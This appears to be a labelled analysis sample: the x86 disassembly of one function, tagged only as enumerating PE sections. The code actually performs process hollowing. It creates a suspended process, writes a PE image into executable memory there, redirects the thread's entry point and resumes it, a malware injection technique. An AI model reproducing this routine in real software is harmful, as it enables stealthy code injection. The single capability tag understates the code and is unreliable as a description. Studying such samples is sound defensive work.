Function at 0x401380
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416560
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xa8
push ebx
push esi
push edi
mov eax, dword [0x438614]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x1c], 0
call fcn.004074e3
mov esi, eax
mov ecx, 0x438fbc
call fcn.00403b90
mov ecx, eax
mov eax, esi
xor edx, edx
div ecx
mov dword [ebp - 0x40], edx
mov edx, dword [ebp - 0x40]
push edx
mov ecx, 0x438fbc
call fcn.00402e30
mov ecx, eax
call fcn.00403760
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0x4550
jne 0x401642
push 0x10
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00405060
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xb8]
push edx
call fcn.00405060
add esp, 0xc
mov eax, dword [0x438f98]
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0xb8]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x44]
push eax
call dword [ebp - 0x48]
test eax, eax
je 0x401467
mov byte [ebp - 0x11], 1
jmp 0x40146b
mov byte [ebp - 0x11], 0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x12]
cmp edx, 1
jne 0x401642
mov eax, dword [0x438f9c]
mov dword [ebp - 0x4c], eax
push 4
push 0x1000
push 4
push 0
call dword [ebp - 0x4c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ecx], 0x10007
mov edx, dword [0x438fa0]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [ebp - 0x50]
test eax, eax
je 0x401642
mov edx, dword [0x438fa4]
mov dword [ebp - 0x54], edx
push 0x40
push 0x3000
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [ebp - 0x54]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
push edx
push 0x417388
call fcn.00403c60
add esp, 8
jmp 0x401504
mov dword [ebp - 4], 0xffffffff
jmp 0x401514
cmp dword [ebp - 0x1c], 0
jne 0x40154c
mov eax, dword [0x438fa8]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [ebp - 0x58]
mov edx, dword [ebp + 8]
push edx
call fcn.00401380
add esp, 4
mov eax, dword [0x438fac]
mov dword [ebp - 0x5c], eax
push 0
call dword [ebp - 0x5c]
mov eax, 1
jmp 0x401644
cmp dword [ebp - 0x1c], 0
jle 0x401642
mov ecx, dword [0x438fb0]
mov dword [ebp - 0x60], ecx
push 0
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x60]
mov dword [ebp - 0x24], 0
jmp 0x401589
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x18]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x24], eax
jge 0x4015db
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
imul eax, dword [ebp - 0x24], 0x28
lea ecx, [edx + eax + 0xf8]
mov dword [ebp - 0x28], ecx
mov edx, dword [0x438fb0]
mov dword [ebp - 0x64], edx
push 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x64]
jmp 0x401580
mov ecx, dword [0x438fb0]
mov dword [ebp - 0x68], ecx
push 0
push 4
mov edx, dword [ebp - 0x18]
add edx, 0x34
push edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp - 0x20]
mov dword [edx + 0xb0], ecx
mov eax, dword [0x438fb4]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x38]
push edx
call dword [ebp - 0x6c]
mov eax, dword [0x438fa8]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [ebp - 0x70]
push 0
call fcn.004074cd
xor eax, eax
jmp 0x401644
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret